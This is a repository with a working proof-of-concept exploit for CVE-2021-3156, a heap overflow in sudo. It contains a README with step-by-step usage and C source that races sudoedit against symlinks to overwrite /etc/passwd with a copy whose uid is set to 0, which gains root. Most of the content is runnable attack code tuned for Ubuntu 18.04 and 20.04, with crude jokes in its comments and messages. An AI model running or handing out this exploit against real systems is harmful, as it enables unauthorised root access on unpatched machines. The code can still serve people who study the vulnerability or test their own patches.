├── LICENSE ├── README.md └── exploit.c /LICENSE: -------------------------------------------------------------------------------- 1 | DO WHAT THE FUCK YOU WANT TO PUBLIC LICENSE 2 | Version 2, December 2004 3 | 4 | Copyright (C) 2004 Sam Hocevar 5 | 6 | Everyone is permitted to copy and distribute verbatim or modified 7 | copies of this license document, and changing it is allowed as long 8 | as the name is changed. 9 | 10 | DO WHAT THE FUCK YOU WANT TO PUBLIC LICENSE 11 | TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION 12 | 13 | 0. You just DO WHAT THE FUCK YOU WANT TO. 14 | 15 | 1. Don't hold me liable for shit. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. 16 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # CVE-2021-3156 2 | PoC for CVE-2021-3156 (sudo heap overflow). Exploit by @gf_256 aka cts. Thanks to r4j from super guesser for help. Credit to Braon Samedit of Qualys for the [original advisory](https://www.qualys.com/2021/01/26/cve-2021-3156/baron-samedit-heap-based-overflow-sudo.txt). 3 | 4 | [Demo video](https://twitter.com/gf_256/status/1355354178588180481) 5 | 6 | # Important note 7 | 8 | **The modified time of /etc/passwd needs to be newer than the system boot time, if it isn't you can use `chsh` to update it. Unfortunately this means you will have to know the password for the account you are running as. Remember that `chsh` doesn't accept empty passwords by default so if it is empty you may have to set one with `passwd`.** 9 | 10 | # Instructions 11 | 12 | 1. wget/curl 13 | 2. tune RACE_SLEEP_TIME 14 | 3. gcc exploit.c 15 | 4. cp /etc/passwd fakepasswd 16 | 5. modify fakepasswd so your uid is 0 17 | 6. ./a.out 18 | 19 | Tested on Ubuntu 18.04 (sudo 1.8.21p2) and 20.04 (1.8.31) 20 | 21 | this bug freaking sucked to PoC, it took like 3 sisyphean days and then suddenly today I just got insanely lucky 22 | -------------------------------------------------------------------------------- /exploit.c: -------------------------------------------------------------------------------- 1 | // Exploit by @gf_256 aka cts 2 | // With help from r4j 3 | // Original advisory by Baron Samedit of Qualys 4 | 5 | // Tested on Ubuntu 18.04 and 20.04 6 | // You will probably need to adjust RACE_SLEEP_TIME. 7 | 8 | #include 9 | #include 10 | #include 11 | #include 12 | #include 13 | #include 14 | #include 15 | #include 16 | #include 17 | #include 18 | #include 19 | #include 20 | #include 21 | #include 22 | 23 | // !!! best value of this varies from system-to-system !!! 24 | // !!! you will probably need to tune this !!! 25 | #define RACE_SLEEP_TIME 10000 26 | 27 | char *target_file; 28 | char *src_file; 29 | 30 | size_t query_target_size() 31 | { 32 | struct stat st; 33 | stat(target_file, &st); 34 | return st.st_size; 35 | } 36 | 37 | char* read_src_contents() 38 | { 39 | FILE* f = fopen(src_file, "rb"); 40 | if (!f) { 41 | puts("oh no baby what are you doing :("); 42 | abort(); 43 | } 44 | fseek(f, 0, SEEK_END); 45 | long fsize = ftell(f); 46 | fseek(f, 0, SEEK_SET); 47 | char *content = malloc(fsize + 1); 48 | fread(content, 1, fsize, f); 49 | fclose(f); 50 | return content; 51 | } 52 | 53 | char* get_my_username() 54 | { 55 | // getlogin can return incorrect result (for example, root under su)! 56 | struct passwd *pws = getpwuid(getuid()); 57 | return strdup(pws->pw_name); 58 | } 59 | 60 | int main(int my_argc, char **my_argv) 61 | { 62 | puts("CVE-2021-3156 PoC by @gf_256"); 63 | puts("original advisory by Baron Samedit"); 64 | 65 | if (my_argc != 3) { 66 | puts("./meme "); 67 | puts("Example: ./meme /etc/passwd my_fake_passwd_file"); 68 | return 1; 69 | } 70 | target_file = my_argv[1]; 71 | src_file = my_argv[2]; 72 | printf("we will overwrite %s with shit from %s\n", target_file, src_file); 73 | 74 | char* myusername = get_my_username(); 75 | printf("hi, my name is %s\n", myusername); 76 | 77 | size_t initial_size = query_target_size(); 78 | printf("%s is %zi big right now\n", target_file, initial_size); 79 | 80 | char* shit_to_write = read_src_contents(); 81 | 82 | char memedir[1000]; 83 | char my_symlink[1000]; 84 | char overflow[1000]; 85 | 86 | char* bigshit = calloc(1,0x10000); 87 | memset(bigshit, 'A', 0xffff); // need a big shit in the stack so the write doesn't fail with bad address 88 | 89 | char *argv[] = {"/usr/bin/sudoedit", "-A", "-s", "\\", 90 | overflow, 91 | NULL 92 | }; 93 | 94 | char *envp[] = { 95 | "\n\n\n\n\n", // put some fucken newlines here to separate our real contents from the junk 96 | shit_to_write, 97 | "SUDO_ASKPASS=/bin/false", 98 | "LANG=C.UTF-8@aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", 99 | bigshit, 100 | NULL 101 | }; 102 | 103 | puts("ok podracing time bitches"); 104 | 105 | for (int i = 0; i < 5000; i++) { 106 | sprintf(memedir, "ayylmaobigchungussssssssssss00000000000000000000000000%08d", i); 107 | sprintf(overflow, "11111111111111111111111111111111111111111111111111111111%s", memedir); 108 | sprintf(my_symlink, "%s/%s", memedir, myusername); 109 | puts(memedir); 110 | 111 | if (access(memedir, F_OK) == 0) { 112 | printf("dude, %s already exists, do it from a clean working dir\n", memedir); 113 | return 1; 114 | } 115 | 116 | pid_t childpid = fork(); 117 | if (childpid) { // parent 118 | usleep(RACE_SLEEP_TIME); 119 | mkdir(memedir, 0700); 120 | symlink(target_file, my_symlink); 121 | waitpid(childpid, 0, 0); 122 | } else { // child 123 | setpriority(PRIO_PROCESS, 0, 20); // set nice to 20 for race reliability 124 | execve("/usr/bin/sudoedit", argv, envp); // noreturn 125 | puts("execve fails?!"); 126 | abort(); 127 | } 128 | 129 | if (query_target_size() != initial_size) { 130 | puts("target file has a BRUH MOMENT!!!! SUCCess???"); 131 | system("xdg-open 'https://www.youtube.com/watch?v=4vkR1G_DUVc'"); // ayy lmao 132 | return 0; 133 | } 134 | } 135 | 136 | puts("Failed?"); 137 | puts("if all the meme dirs are owned by root, the usleep needs to be decreased."); 138 | puts("if they're all owned by you, the usleep needs to be increased"); 139 | 140 | 141 | return 0; 142 | } 143 | --------------------------------------------------------------------------------